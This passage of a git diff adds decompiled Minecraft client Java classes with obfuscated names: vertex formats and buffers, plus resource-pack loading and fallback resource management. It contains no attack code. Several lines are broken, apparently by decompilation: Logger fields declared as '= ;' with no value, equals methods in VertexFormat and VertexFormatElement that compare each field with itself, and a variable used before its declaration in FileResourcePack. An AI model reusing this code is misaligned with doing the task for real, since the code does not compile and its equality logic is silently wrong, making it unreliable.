+    field_176600_a.func_177349_a(new VertexFormatElement(0, VertexFormatElement.EnumType.FLOAT, VertexFormatElement.EnumUseage.POSITION, 3));
+    field_176600_a.func_177349_a(new VertexFormatElement(0, VertexFormatElement.EnumType.UBYTE, VertexFormatElement.EnumUseage.COLOR, 4));
+    field_176600_a.func_177349_a(new VertexFormatElement(0, VertexFormatElement.EnumType.FLOAT, VertexFormatElement.EnumUseage.UV, 2));
+    field_176600_a.func_177349_a(new VertexFormatElement(1, VertexFormatElement.EnumType.SHORT, VertexFormatElement.EnumUseage.UV, 2));
+    field_176599_b.func_177349_a(new VertexFormatElement(0, VertexFormatElement.EnumType.FLOAT, VertexFormatElement.EnumUseage.POSITION, 3));
+    field_176599_b.func_177349_a(new VertexFormatElement(0, VertexFormatElement.EnumType.UBYTE, VertexFormatElement.EnumUseage.COLOR, 4));
+    field_176599_b.func_177349_a(new VertexFormatElement(0, VertexFormatElement.EnumType.FLOAT, VertexFormatElement.EnumUseage.UV, 2));
+    field_176599_b.func_177349_a(new VertexFormatElement(0, VertexFormatElement.EnumType.BYTE, VertexFormatElement.EnumUseage.NORMAL, 3));
+    field_176599_b.func_177349_a(new VertexFormatElement(0, VertexFormatElement.EnumType.BYTE, VertexFormatElement.EnumUseage.PADDING, 1));
+  }
+}
diff --git a/src/minecraft/net/minecraft/client/renderer/vertex/VertexBuffer.java b/src/minecraft/net/minecraft/client/renderer/vertex/VertexBuffer.java
new file mode 100644
index 0000000..2c032cb
--- /dev/null
+++ b/src/minecraft/net/minecraft/client/renderer/vertex/VertexBuffer.java
@@ -0,0 +1,51 @@
+package net.minecraft.client.renderer.vertex;
+
+import java.nio.ByteBuffer;
+import net.minecraft.client.renderer.OpenGlHelper;
+import org.lwjgl.opengl.GL11;
+
+public class VertexBuffer
+{
+  private int field_177365_a;
+  private final VertexFormat field_177363_b;
+  private int field_177364_c;
+  private static final String __OBFID = "CL_00002402";
+  
+  public VertexBuffer(VertexFormat p_i46098_1_)
+  {
+    field_177363_b = p_i46098_1_;
+    field_177365_a = OpenGlHelper.func_176073_e();
+  }
+  
+  public void func_177359_a()
+  {
+    OpenGlHelper.func_176072_g(OpenGlHelper.field_176089_P, field_177365_a);
+  }
+  
+  public void func_177360_a(ByteBuffer p_177360_1_, int p_177360_2_)
+  {
+    func_177359_a();
+    OpenGlHelper.func_176071_a(OpenGlHelper.field_176089_P, p_177360_1_, 35044);
+    func_177361_b();
+    field_177364_c = (p_177360_2_ / field_177363_b.func_177338_f());
+  }
+  
+  public void func_177358_a(int p_177358_1_)
+  {
+    GL11.glDrawArrays(p_177358_1_, 0, field_177364_c);
+  }
+  
+  public void func_177361_b()
+  {
+    OpenGlHelper.func_176072_g(OpenGlHelper.field_176089_P, 0);
+  }
+  
+  public void func_177362_c()
+  {
+    if (field_177365_a >= 0)
+    {
+      OpenGlHelper.func_176074_g(field_177365_a);
+      field_177365_a = -1;
+    }
+  }
+}
diff --git a/src/minecraft/net/minecraft/client/renderer/vertex/VertexFormat.java b/src/minecraft/net/minecraft/client/renderer/vertex/VertexFormat.java
new file mode 100644
index 0000000..2cac1f7
--- /dev/null
+++ b/src/minecraft/net/minecraft/client/renderer/vertex/VertexFormat.java
@@ -0,0 +1,226 @@
+package net.minecraft.client.renderer.vertex;
+
+import com.google.common.collect.Lists;
+import java.util.Iterator;
+import java.util.List;
+import org.apache.logging.log4j.LogManager;
+import org.apache.logging.log4j.Logger;
+
+public class VertexFormat
+{
+  private static final Logger field_177357_a = ;
+  private final List field_177355_b;
+  private final List field_177356_c;
+  private int field_177353_d;
+  private int field_177354_e;
+  private List field_177351_f;
+  private int field_177352_g;
+  private static final String __OBFID = "CL_00002401";
+  
+  public VertexFormat(VertexFormat p_i46097_1_)
+  {
+    this();
+    
+    for (int var2 = 0; var2 < p_i46097_1_.func_177345_h(); var2++)
+    {
+      func_177349_a(p_i46097_1_.func_177348_c(var2));
+    }
+    
+    field_177353_d = p_i46097_1_.func_177338_f();
+  }
+  
+  public VertexFormat()
+  {
+    field_177355_b = Lists.newArrayList();
+    field_177356_c = Lists.newArrayList();
+    field_177353_d = 0;
+    field_177354_e = -1;
+    field_177351_f = Lists.newArrayList();
+    field_177352_g = -1;
+  }
+  
+  public void clear()
+  {
+    field_177355_b.clear();
+    field_177356_c.clear();
+    field_177354_e = -1;
+    field_177351_f.clear();
+    field_177352_g = -1;
+    field_177353_d = 0;
+  }
+  
+  public void func_177349_a(VertexFormatElement p_177349_1_)
+  {
+    if ((p_177349_1_.func_177374_g()) && (func_177341_i()))
+    {
+      field_177357_a.warn("VertexFormat error: Trying to add a position VertexFormatElement when one already exists, ignoring.");
+    }
+    else
+    {
+      field_177355_b.add(p_177349_1_);
+      field_177356_c.add(Integer.valueOf(field_177353_d));
+      p_177349_1_.func_177371_a(field_177353_d);
+      field_177353_d += p_177349_1_.func_177368_f();
+      
+      switch (SwitchEnumUseage.field_177382_a[p_177349_1_.func_177375_c().ordinal()])
+      {
+      case 1: 
+        field_177352_g = p_177349_1_.func_177373_a();
+        break;
+      
+      case 2: 
+        field_177354_e = p_177349_1_.func_177373_a();
+        break;
+      
+      case 3: 
+        field_177351_f.add(p_177349_1_.func_177369_e(), Integer.valueOf(p_177349_1_.func_177373_a()));
+      }
+    }
+  }
+  
+  public boolean func_177350_b()
+  {
+    return field_177352_g >= 0;
+  }
+  
+  public int func_177342_c()
+  {
+    return field_177352_g;
+  }
+  
+  public boolean func_177346_d()
+  {
+    return field_177354_e >= 0;
+  }
+  
+  public int func_177340_e()
+  {
+    return field_177354_e;
+  }
+  
+  public boolean func_177347_a(int p_177347_1_)
+  {
+    return field_177351_f.size() - 1 >= p_177347_1_;
+  }
+  
+  public int func_177344_b(int p_177344_1_)
+  {
+    return ((Integer)field_177351_f.get(p_177344_1_)).intValue();
+  }
+  
+  public String toString()
+  {
+    String var1 = "format: " + field_177355_b.size() + " elements: ";
+    
+    for (int var2 = 0; var2 < field_177355_b.size(); var2++)
+    {
+      var1 = var1 + ((VertexFormatElement)field_177355_b.get(var2)).toString();
+      
+      if (var2 != field_177355_b.size() - 1)
+      {
+        var1 = var1 + " ";
+      }
+    }
+    
+    return var1;
+  }
+  
+  private boolean func_177341_i()
+  {
+    Iterator var1 = field_177355_b.iterator();
+    
+    VertexFormatElement var2;
+    do
+    {
+      if (!var1.hasNext())
+      {
+        return false;
+      }
+      
+      var2 = (VertexFormatElement)var1.next();
+    }
+    while (!var2.func_177374_g());
+    
+    return true;
+  }
+  
+  public int func_177338_f()
+  {
+    return field_177353_d;
+  }
+  
+  public List func_177343_g()
+  {
+    return field_177355_b;
+  }
+  
+  public int func_177345_h()
+  {
+    return field_177355_b.size();
+  }
+  
+  public VertexFormatElement func_177348_c(int p_177348_1_)
+  {
+    return (VertexFormatElement)field_177355_b.get(p_177348_1_);
+  }
+  
+  public boolean equals(Object p_equals_1_)
+  {
+    if (this == p_equals_1_)
+    {
+      return true;
+    }
+    if ((p_equals_1_ != null) && (getClass() == p_equals_1_.getClass()))
+    {
+      VertexFormat var2 = (VertexFormat)p_equals_1_;
+      return !field_177355_b.equals(field_177355_b) ? false : field_177353_d != field_177353_d ? false : field_177356_c.equals(field_177356_c);
+    }
+    
+
+    return false;
+  }
+  
+
+  public int hashCode()
+  {
+    int var1 = field_177355_b.hashCode();
+    var1 = 31 * var1 + field_177356_c.hashCode();
+    var1 = 31 * var1 + field_177353_d;
+    return var1;
+  }
+  
+  static final class SwitchEnumUseage
+  {
+    static final int[] field_177382_a = new int[VertexFormatElement.EnumUseage.values().length];
+    private static final String __OBFID = "CL_00002400";
+    
+    static
+    {
+      try
+      {
+        field_177382_a[VertexFormatElement.EnumUseage.NORMAL.ordinal()] = 1;
+      }
+      catch (NoSuchFieldError localNoSuchFieldError1) {}
+      
+
+
+
+      try
+      {
+        field_177382_a[VertexFormatElement.EnumUseage.COLOR.ordinal()] = 2;
+      }
+      catch (NoSuchFieldError localNoSuchFieldError2) {}
+      
+
+
+
+      try
+      {
+        field_177382_a[VertexFormatElement.EnumUseage.UV.ordinal()] = 3;
+      }
+      catch (NoSuchFieldError localNoSuchFieldError3) {}
+    }
+    
+    SwitchEnumUseage() {}
+  }
+}
diff --git a/src/minecraft/net/minecraft/client/renderer/vertex/VertexFormatElement.java b/src/minecraft/net/minecraft/client/renderer/vertex/VertexFormatElement.java
new file mode 100644
index 0000000..00d5728
--- /dev/null
+++ b/src/minecraft/net/minecraft/client/renderer/vertex/VertexFormatElement.java
@@ -0,0 +1,174 @@
+package net.minecraft.client.renderer.vertex;
+
+import org.apache.logging.log4j.LogManager;
+import org.apache.logging.log4j.Logger;
+
+public class VertexFormatElement
+{
+  private static final Logger field_177381_a = ;
+  private final EnumType field_177379_b;
+  private final EnumUseage field_177380_c;
+  private int field_177377_d;
+  private int field_177378_e;
+  private int field_177376_f;
+  private static final String __OBFID = "CL_00002399";
+  
+  public VertexFormatElement(int p_i46096_1_, EnumType p_i46096_2_, EnumUseage p_i46096_3_, int p_i46096_4_)
+  {
+    if (!func_177372_a(p_i46096_1_, p_i46096_3_))
+    {
+      field_177381_a.warn("Multiple vertex elements of the same type other than UVs are not supported. Forcing type to UV.");
+      field_177380_c = EnumUseage.UV;
+    }
+    else
+    {
+      field_177380_c = p_i46096_3_;
+    }
+    
+    field_177379_b = p_i46096_2_;
+    field_177377_d = p_i46096_1_;
+    field_177378_e = p_i46096_4_;
+    field_177376_f = 0;
+  }
+  
+  public void func_177371_a(int p_177371_1_)
+  {
+    field_177376_f = p_177371_1_;
+  }
+  
+  public int func_177373_a()
+  {
+    return field_177376_f;
+  }
+  
+  private final boolean func_177372_a(int p_177372_1_, EnumUseage p_177372_2_)
+  {
+    return (p_177372_1_ == 0) || (p_177372_2_ == EnumUseage.UV);
+  }
+  
+  public final EnumType func_177367_b()
+  {
+    return field_177379_b;
+  }
+  
+  public final EnumUseage func_177375_c()
+  {
+    return field_177380_c;
+  }
+  
+  public final int func_177370_d()
+  {
+    return field_177378_e;
+  }
+  
+  public final int func_177369_e()
+  {
+    return field_177377_d;
+  }
+  
+  public String toString()
+  {
+    return field_177378_e + "," + field_177380_c.func_177384_a() + "," + field_177379_b.func_177396_b();
+  }
+  
+  public final int func_177368_f()
+  {
+    return field_177379_b.func_177395_a() * field_177378_e;
+  }
+  
+  public final boolean func_177374_g()
+  {
+    return field_177380_c == EnumUseage.POSITION;
+  }
+  
+  public boolean equals(Object p_equals_1_)
+  {
+    if (this == p_equals_1_)
+    {
+      return true;
+    }
+    if ((p_equals_1_ != null) && (getClass() == p_equals_1_.getClass()))
+    {
+      VertexFormatElement var2 = (VertexFormatElement)p_equals_1_;
+      return field_177378_e == field_177378_e;
+    }
+    
+
+    return false;
+  }
+  
+
+  public int hashCode()
+  {
+    int var1 = field_177379_b.hashCode();
+    var1 = 31 * var1 + field_177380_c.hashCode();
+    var1 = 31 * var1 + field_177377_d;
+    var1 = 31 * var1 + field_177378_e;
+    var1 = 31 * var1 + field_177376_f;
+    return var1;
+  }
+  
+  public static enum EnumType
+  {
+    FLOAT("FLOAT", 0, 4, "Float", 5126), 
+    UBYTE("UBYTE", 1, 1, "Unsigned Byte", 5121), 
+    BYTE("BYTE", 2, 1, "Byte", 5120), 
+    USHORT("USHORT", 3, 2, "Unsigned Short", 5123), 
+    SHORT("SHORT", 4, 2, "Short", 5122), 
+    UINT("UINT", 5, 4, "Unsigned Int", 5125), 
+    INT("INT", 6, 4, "Int", 5124);
+    
+    private final int field_177407_h;
+    private final String field_177408_i;
+    private final int field_177405_j;
+    private static final EnumType[] $VALUES = { FLOAT, UBYTE, BYTE, USHORT, SHORT, UINT, INT };
+    private static final String __OBFID = "CL_00002398";
+    
+    private EnumType(String p_i46095_1_, int p_i46095_2_, int p_i46095_3_, String p_i46095_4_, int p_i46095_5_)
+    {
+      field_177407_h = p_i46095_3_;
+      field_177408_i = p_i46095_4_;
+      field_177405_j = p_i46095_5_;
+    }
+    
+    public int func_177395_a()
+    {
+      return field_177407_h;
+    }
+    
+    public String func_177396_b()
+    {
+      return field_177408_i;
+    }
+    
+    public int func_177397_c()
+    {
+      return field_177405_j;
+    }
+  }
+  
+  public static enum EnumUseage
+  {
+    POSITION("POSITION", 0, "Position"), 
+    NORMAL("NORMAL", 1, "Normal"), 
+    COLOR("COLOR", 2, "Vertex Color"), 
+    UV("UV", 3, "UV"), 
+    MATRIX("MATRIX", 4, "Bone Matrix"), 
+    BLEND_WEIGHT("BLEND_WEIGHT", 5, "Blend Weight"), 
+    PADDING("PADDING", 6, "Padding");
+    
+    private final String field_177392_h;
+    private static final EnumUseage[] $VALUES = { POSITION, NORMAL, COLOR, UV, MATRIX, BLEND_WEIGHT, PADDING };
+    private static final String __OBFID = "CL_00002397";
+    
+    private EnumUseage(String p_i46094_1_, int p_i46094_2_, String p_i46094_3_)
+    {
+      field_177392_h = p_i46094_3_;
+    }
+    
+    public String func_177384_a()
+    {
+      return field_177392_h;
+    }
+  }
+}
diff --git a/src/minecraft/net/minecraft/client/resources/AbstractResourcePack.java b/src/minecraft/net/minecraft/client/resources/AbstractResourcePack.java
new file mode 100644
index 0000000..b90daac
--- /dev/null
+++ b/src/minecraft/net/minecraft/client/resources/AbstractResourcePack.java
@@ -0,0 +1,97 @@
+package net.minecraft.client.resources;
+
+import com.google.gson.JsonObject;
+import com.google.gson.JsonParseException;
+import com.google.gson.JsonParser;
+import java.awt.image.BufferedImage;
+import java.io.BufferedReader;
+import java.io.File;
+import java.io.IOException;
+import java.io.InputStream;
+import java.io.InputStreamReader;
+import java.net.URI;
+import net.minecraft.client.renderer.texture.TextureUtil;
+import net.minecraft.client.resources.data.IMetadataSection;
+import net.minecraft.client.resources.data.IMetadataSerializer;
+import net.minecraft.util.ResourceLocation;
+import org.apache.commons.io.IOUtils;
+import org.apache.logging.log4j.LogManager;
+import org.apache.logging.log4j.Logger;
+
+public abstract class AbstractResourcePack implements IResourcePack
+{
+  private static final Logger resourceLog = ;
+  public final File resourcePackFile;
+  private static final String __OBFID = "CL_00001072";
+  
+  public AbstractResourcePack(File p_i1287_1_)
+  {
+    resourcePackFile = p_i1287_1_;
+  }
+  
+  private static String locationToName(ResourceLocation p_110592_0_)
+  {
+    return String.format("%s/%s/%s", new Object[] { "assets", p_110592_0_.getResourceDomain(), p_110592_0_.getResourcePath() });
+  }
+  
+  protected static String getRelativeName(File p_110595_0_, File p_110595_1_)
+  {
+    return p_110595_0_.toURI().relativize(p_110595_1_.toURI()).getPath();
+  }
+  
+  public InputStream getInputStream(ResourceLocation p_110590_1_) throws IOException
+  {
+    return getInputStreamByName(locationToName(p_110590_1_));
+  }
+  
+  public boolean resourceExists(ResourceLocation p_110589_1_)
+  {
+    return hasResourceName(locationToName(p_110589_1_));
+  }
+  
+  protected abstract InputStream getInputStreamByName(String paramString) throws IOException;
+  
+  protected abstract boolean hasResourceName(String paramString);
+  
+  protected void logNameNotLowercase(String p_110594_1_)
+  {
+    resourceLog.warn("ResourcePack: ignored non-lowercase namespace: {} in {}", new Object[] { p_110594_1_, resourcePackFile });
+  }
+  
+  public IMetadataSection getPackMetadata(IMetadataSerializer p_135058_1_, String p_135058_2_) throws IOException
+  {
+    return readMetadata(p_135058_1_, getInputStreamByName("pack.mcmeta"), p_135058_2_);
+  }
+  
+  static IMetadataSection readMetadata(IMetadataSerializer p_110596_0_, InputStream p_110596_1_, String p_110596_2_)
+  {
+    JsonObject var3 = null;
+    BufferedReader var4 = null;
+    
+    try
+    {
+      var4 = new BufferedReader(new InputStreamReader(p_110596_1_, com.google.common.base.Charsets.UTF_8));
+      var3 = new JsonParser().parse(var4).getAsJsonObject();
+    }
+    catch (RuntimeException var9)
+    {
+      throw new JsonParseException(var9);
+    }
+    finally
+    {
+      IOUtils.closeQuietly(var4);
+    }
+    
+    return p_110596_0_.parseMetadataSection(p_110596_2_, var3);
+  }
+  
+  public BufferedImage getPackImage() throws IOException
+  {
+    return TextureUtil.func_177053_a(getInputStreamByName("pack.png"));
+  }
+  
+  public String getPackName()
+  {
+    return resourcePackFile.getName();
+  }
+}
diff --git a/src/minecraft/net/minecraft/client/resources/DefaultPlayerSkin.java b/src/minecraft/net/minecraft/client/resources/DefaultPlayerSkin.java
new file mode 100644
index 0000000..45f3694
--- /dev/null
+++ b/src/minecraft/net/minecraft/client/resources/DefaultPlayerSkin.java
@@ -0,0 +1,31 @@
+package net.minecraft.client.resources;
+
+import java.util.UUID;
+import net.minecraft.util.ResourceLocation;
+
+public class DefaultPlayerSkin
+{
+  private static final ResourceLocation field_177337_a = new ResourceLocation("textures/entity/steve.png");
+  private static final ResourceLocation field_177336_b = new ResourceLocation("textures/entity/alex.png");
+  private static final String __OBFID = "CL_00002396";
+  
+  public DefaultPlayerSkin() {}
+  
+  public static ResourceLocation func_177335_a() { return field_177337_a; }
+  
+
+  public static ResourceLocation func_177334_a(UUID p_177334_0_)
+  {
+    return func_177333_c(p_177334_0_) ? field_177336_b : field_177337_a;
+  }
+  
+  public static String func_177332_b(UUID p_177332_0_)
+  {
+    return func_177333_c(p_177332_0_) ? "slim" : "default";
+  }
+  
+  private static boolean func_177333_c(UUID p_177333_0_)
+  {
+    return (p_177333_0_.hashCode() & 0x1) == 1;
+  }
+}
diff --git a/src/minecraft/net/minecraft/client/resources/DefaultResourcePack.java b/src/minecraft/net/minecraft/client/resources/DefaultResourcePack.java
new file mode 100644
index 0000000..1659445
--- /dev/null
+++ b/src/minecraft/net/minecraft/client/resources/DefaultResourcePack.java
@@ -0,0 +1,101 @@
+package net.minecraft.client.resources;
+
+import com.google.common.collect.ImmutableSet;
+import java.awt.image.BufferedImage;
+import java.io.File;
+import java.io.FileInputStream;
+import java.io.FileNotFoundException;
+import java.io.IOException;
+import java.io.InputStream;
+import java.util.Map;
+import java.util.Set;
+import net.minecraft.client.renderer.texture.TextureUtil;
+import net.minecraft.client.resources.data.IMetadataSection;
+import net.minecraft.client.resources.data.IMetadataSerializer;
+import net.minecraft.util.ResourceLocation;
+import optifine.ReflectorForge;
+
+public class DefaultResourcePack implements IResourcePack
+{
+  public static final Set defaultResourceDomains = ImmutableSet.of("minecraft", "realms");
+  private final Map field_152781_b;
+  private static final String __OBFID = "CL_00001073";
+  
+  public DefaultResourcePack(Map p_i46346_1_)
+  {
+    field_152781_b = p_i46346_1_;
+  }
+  
+  public InputStream getInputStream(ResourceLocation p_110590_1_) throws IOException
+  {
+    InputStream var2 = getResourceStream(p_110590_1_);
+    
+    if (var2 != null)
+    {
+      return var2;
+    }
+    
+
+    InputStream var3 = func_152780_c(p_110590_1_);
+    
+    if (var3 != null)
+    {
+      return var3;
+    }
+    
+
+    throw new FileNotFoundException(p_110590_1_.getResourcePath());
+  }
+  
+
+  public InputStream func_152780_c(ResourceLocation p_152780_1_)
+    throws IOException
+  {
+    File var2 = (File)field_152781_b.get(p_152780_1_.toString());
+    return (var2 != null) && (var2.isFile()) ? new FileInputStream(var2) : null;
+  }
+  
+  private InputStream getResourceStream(ResourceLocation p_110605_1_)
+  {
+    String path = "/assets/" + p_110605_1_.getResourceDomain() + "/" + p_110605_1_.getResourcePath();
+    InputStream is = ReflectorForge.getOptiFineResourceStream(path);
+    return is != null ? is : DefaultResourcePack.class.getResourceAsStream("/assets/" + p_110605_1_.getResourceDomain() + "/" + p_110605_1_.getResourcePath());
+  }
+  
+  public boolean resourceExists(ResourceLocation p_110589_1_)
+  {
+    return (getResourceStream(p_110589_1_) != null) || (field_152781_b.containsKey(p_110589_1_.toString()));
+  }
+  
+  public Set getResourceDomains()
+  {
+    return defaultResourceDomains;
+  }
+  
+  public IMetadataSection getPackMetadata(IMetadataSerializer p_135058_1_, String p_135058_2_) throws IOException
+  {
+    try
+    {
+      FileInputStream var5 = new FileInputStream((File)field_152781_b.get("pack.mcmeta"));
+      return AbstractResourcePack.readMetadata(p_135058_1_, var5, p_135058_2_);
+    }
+    catch (RuntimeException var4)
+    {
+      return null;
+    }
+    catch (FileNotFoundException var51) {}
+    
+    return null;
+  }
+  
+  public BufferedImage getPackImage()
+    throws IOException
+  {
+    return TextureUtil.func_177053_a(DefaultResourcePack.class.getResourceAsStream("/" + new ResourceLocation("pack.png").getResourcePath()));
+  }
+  
+  public String getPackName()
+  {
+    return "Default";
+  }
+}
diff --git a/src/minecraft/net/minecraft/client/resources/FallbackResourceManager.java b/src/minecraft/net/minecraft/client/resources/FallbackResourceManager.java
new file mode 100644
index 0000000..ffaf178
--- /dev/null
+++ b/src/minecraft/net/minecraft/client/resources/FallbackResourceManager.java
@@ -0,0 +1,144 @@
+package net.minecraft.client.resources;
+
+import com.google.common.collect.Lists;
+import java.io.ByteArrayOutputStream;
+import java.io.FileNotFoundException;
+import java.io.IOException;
+import java.io.InputStream;
+import java.io.PrintStream;
+import java.util.ArrayList;
+import java.util.Iterator;
+import java.util.List;
+import java.util.Set;
+import net.minecraft.client.resources.data.IMetadataSerializer;
+import net.minecraft.util.ResourceLocation;
+import org.apache.logging.log4j.LogManager;
+import org.apache.logging.log4j.Logger;
+
+public class FallbackResourceManager implements IResourceManager
+{
+  private static final Logger field_177246_b = ;
+  protected final List resourcePacks = Lists.newArrayList();
+  private final IMetadataSerializer frmMetadataSerializer;
+  private static final String __OBFID = "CL_00001074";
+  
+  public FallbackResourceManager(IMetadataSerializer p_i1289_1_)
+  {
+    frmMetadataSerializer = p_i1289_1_;
+  }
+  
+  public void addResourcePack(IResourcePack p_110538_1_)
+  {
+    resourcePacks.add(p_110538_1_);
+  }
+  
+  public Set getResourceDomains()
+  {
+    return null;
+  }
+  
+  public IResource getResource(ResourceLocation p_110536_1_) throws IOException
+  {
+    IResourcePack var2 = null;
+    ResourceLocation var3 = getLocationMcmeta(p_110536_1_);
+    
+    for (int var4 = resourcePacks.size() - 1; var4 >= 0; var4--)
+    {
+      IResourcePack var5 = (IResourcePack)resourcePacks.get(var4);
+      
+      if ((var2 == null) && (var5.resourceExists(var3)))
+      {
+        var2 = var5;
+      }
+      
+      if (var5.resourceExists(p_110536_1_))
+      {
+        InputStream var6 = null;
+        
+        if (var2 != null)
+        {
+          var6 = func_177245_a(var3, var2);
+        }
+        
+        return new SimpleResource(var5.getPackName(), p_110536_1_, func_177245_a(p_110536_1_, var5), var6, frmMetadataSerializer);
+      }
+    }
+    
+    throw new FileNotFoundException(p_110536_1_.toString());
+  }
+  
+  protected InputStream func_177245_a(ResourceLocation p_177245_1_, IResourcePack p_177245_2_) throws IOException
+  {
+    InputStream var3 = p_177245_2_.getInputStream(p_177245_1_);
+    return field_177246_b.isDebugEnabled() ? new ImputStreamLeakedResourceLogger(var3, p_177245_1_, p_177245_2_.getPackName()) : var3;
+  }
+  
+  public List getAllResources(ResourceLocation p_135056_1_) throws IOException
+  {
+    ArrayList var2 = Lists.newArrayList();
+    ResourceLocation var3 = getLocationMcmeta(p_135056_1_);
+    Iterator var4 = resourcePacks.iterator();
+    
+    while (var4.hasNext())
+    {
+      IResourcePack var5 = (IResourcePack)var4.next();
+      
+      if (var5.resourceExists(p_135056_1_))
+      {
+        InputStream var6 = var5.resourceExists(var3) ? func_177245_a(var3, var5) : null;
+        var2.add(new SimpleResource(var5.getPackName(), p_135056_1_, func_177245_a(p_135056_1_, var5), var6, frmMetadataSerializer));
+      }
+    }
+    
+    if (var2.isEmpty())
+    {
+      throw new FileNotFoundException(p_135056_1_.toString());
+    }
+    
+
+    return var2;
+  }
+  
+
+  static ResourceLocation getLocationMcmeta(ResourceLocation p_110537_0_)
+  {
+    return new ResourceLocation(p_110537_0_.getResourceDomain(), p_110537_0_.getResourcePath() + ".mcmeta");
+  }
+  
+  static class ImputStreamLeakedResourceLogger extends InputStream
+  {
+    private final InputStream field_177330_a;
+    private final String field_177328_b;
+    private boolean field_177329_c = false;
+    private static final String __OBFID = "CL_00002395";
+    
+    public ImputStreamLeakedResourceLogger(InputStream p_i46093_1_, ResourceLocation p_i46093_2_, String p_i46093_3_)
+    {
+      field_177330_a = p_i46093_1_;
+      ByteArrayOutputStream var4 = new ByteArrayOutputStream();
+      new Exception().printStackTrace(new PrintStream(var4));
+      field_177328_b = ("Leaked resource: '" + p_i46093_2_ + "' loaded from pack: '" + p_i46093_3_ + "'\n" + var4.toString());
+    }
+    
+    public void close() throws IOException
+    {
+      field_177330_a.close();
+      field_177329_c = true;
+    }
+    
+    protected void finalize() throws Throwable
+    {
+      if (!field_177329_c)
+      {
+        FallbackResourceManager.field_177246_b.warn(field_177328_b);
+      }
+      
+      super.finalize();
+    }
+    
+    public int read() throws IOException
+    {
+      return field_177330_a.read();
+    }
+  }
+}
diff --git a/src/minecraft/net/minecraft/client/resources/FileResourcePack.java b/src/minecraft/net/minecraft/client/resources/FileResourcePack.java
new file mode 100644
index 0000000..2ed8259
--- /dev/null
+++ b/src/minecraft/net/minecraft/client/resources/FileResourcePack.java
@@ -0,0 +1,124 @@
+package net.minecraft.client.resources;
+
+import com.google.common.base.Splitter;
+import com.google.common.collect.Lists;
+import com.google.common.collect.Sets;
+import java.io.Closeable;
+import java.io.File;
+import java.io.IOException;
+import java.io.InputStream;
+import java.util.ArrayList;
+import java.util.Collections;
+import java.util.Enumeration;
+import java.util.HashSet;
+import java.util.Set;
+import java.util.zip.ZipEntry;
+import java.util.zip.ZipFile;
+
+public class FileResourcePack extends AbstractResourcePack implements Closeable
+{
+  public static final Splitter entryNameSplitter = Splitter.on('/').omitEmptyStrings().limit(3);
+  private ZipFile resourcePackZipFile;
+  private static final String __OBFID = "CL_00001075";
+  
+  public FileResourcePack(File p_i1290_1_)
+  {
+    super(p_i1290_1_);
+  }
+  
+  private ZipFile getResourcePackZipFile() throws IOException
+  {
+    if (resourcePackZipFile == null)
+    {
+      resourcePackZipFile = new ZipFile(resourcePackFile);
+    }
+    
+    return resourcePackZipFile;
+  }
+  
+  protected InputStream getInputStreamByName(String p_110591_1_) throws IOException
+  {
+    ZipFile var2 = getResourcePackZipFile();
+    ZipEntry var3 = var2.getEntry(p_110591_1_);
+    
+    if (var3 == null)
+    {
+      throw new ResourcePackFileNotFoundException(resourcePackFile, p_110591_1_);
+    }
+    
+
+    return var2.getInputStream(var3);
+  }
+  
+
+  public boolean hasResourceName(String p_110593_1_)
+  {
+    try
+    {
+      return getResourcePackZipFile().getEntry(p_110593_1_) != null;
+    }
+    catch (IOException var3) {}
+    
+    return false;
+  }
+  
+
+
+
+  public Set getResourceDomains()
+  {
+    try
+    {
+      var1 = getResourcePackZipFile();
+    }
+    catch (IOException var8) {
+      ZipFile var1;
+      return Collections.emptySet();
+    }
+    ZipFile var1;
+    Enumeration var2 = var1.entries();
+    HashSet var3 = Sets.newHashSet();
+    
+    while (var2.hasMoreElements())
+    {
+      ZipEntry var4 = (ZipEntry)var2.nextElement();
+      String var5 = var4.getName();
+      
+      if (var5.startsWith("assets/"))
+      {
+        ArrayList var6 = Lists.newArrayList(entryNameSplitter.split(var5));
+        
+        if (var6.size() > 1)
+        {
+          String var7 = (String)var6.get(1);
+          
+          if (!var7.equals(var7.toLowerCase()))
+          {
+            logNameNotLowercase(var7);
+          }
+          else
+          {
+            var3.add(var7);
+          }
+        }
+      }
+    }
+    
+    return var3;
+  }
+  
+  protected void finalize() throws Throwable
+  {
+    close();
+    super.finalize();
+  }
+  
+  public void close() throws IOException
+  {
+    if (resourcePackZipFile != null)
+    {
+      resourcePackZipFile.close();
+      resourcePackZipFile = null;
+    }
+  }
+}
diff --git a/src/minecraft/net/minecraft/client/resources/FolderResourcePack.java b/src/minecraft/net/minecraft/client/resources/FolderResourcePack.java
new file mode 100644
index 0000000..b058408
--- /dev/null
+++ b/src/minecraft/net/minecraft/client/resources/FolderResourcePack.java
@@ -0,0 +1,60 @@
+package net.minecraft.client.resources;
+
+import com.google.common.collect.Sets;
+import java.io.BufferedInputStream;
+import java.io.File;
+import java.io.FileInputStream;
+import java.io.IOException;
+import java.io.InputStream;
+import java.util.HashSet;
+import java.util.Set;
+import org.apache.commons.io.filefilter.DirectoryFileFilter;
+
+public class FolderResourcePack extends AbstractResourcePack
+{
+  private static final String __OBFID = "CL_00001076";
+  
+  public FolderResourcePack(File p_i1291_1_)
+  {
+    super(p_i1291_1_);
+  }
+  
+  protected InputStream getInputStreamByName(String p_110591_1_) throws IOException
+  {
+    return new BufferedInputStream(new FileInputStream(new File(resourcePackFile, p_110591_1_)));
+  }
+  
+  protected boolean hasResourceName(String p_110593_1_)
+  {
+    return new File(resourcePackFile, p_110593_1_).isFile();
+  }
+  
+  public Set getResourceDomains()
+  {
+    HashSet var1 = Sets.newHashSet();
+    File var2 = new File(resourcePackFile, "assets/");
+    
+    if (var2.isDirectory())
+    {
+      File[] var3 = var2.listFiles(DirectoryFileFilter.DIRECTORY);
+      int var4 = var3.length;
+      
+      for (int var5 = 0; var5 < var4; var5++)
+      {
+        File var6 = var3[var5];
+        String var7 = getRelativeName(var2, var6);
+        
+        if (!var7.equals(var7.toLowerCase()))
+        {
+          logNameNotLowercase(var7);
+        }
+        else
+        {
+          var1.add(var7.substring(0, var7.length() - 1));
+        }
+      }
+    }
+    
+    return var1;
+  }
+}
diff --git a/src/minecraft/net/minecraft/client/resources/FoliageColorReloadListener.java b/src/minecraft/net/minecraft/client/resources/FoliageColorReloadListener.java
new file mode 100644
index 0000000..a122010
--- /dev/null
+++ b/src/minecraft/net/minecraft/client/resources/FoliageColorReloadListener.java
@@ -0,0 +1,21 @@
+package net.minecraft.client.resources;
+
+import java.io.IOException;
+import net.minecraft.client.renderer.texture.TextureUtil;
+import net.minecraft.util.ResourceLocation;
+import net.minecraft.world.ColorizerFoliage;
+
+public class FoliageColorReloadListener implements IResourceManagerReloadListener
+{
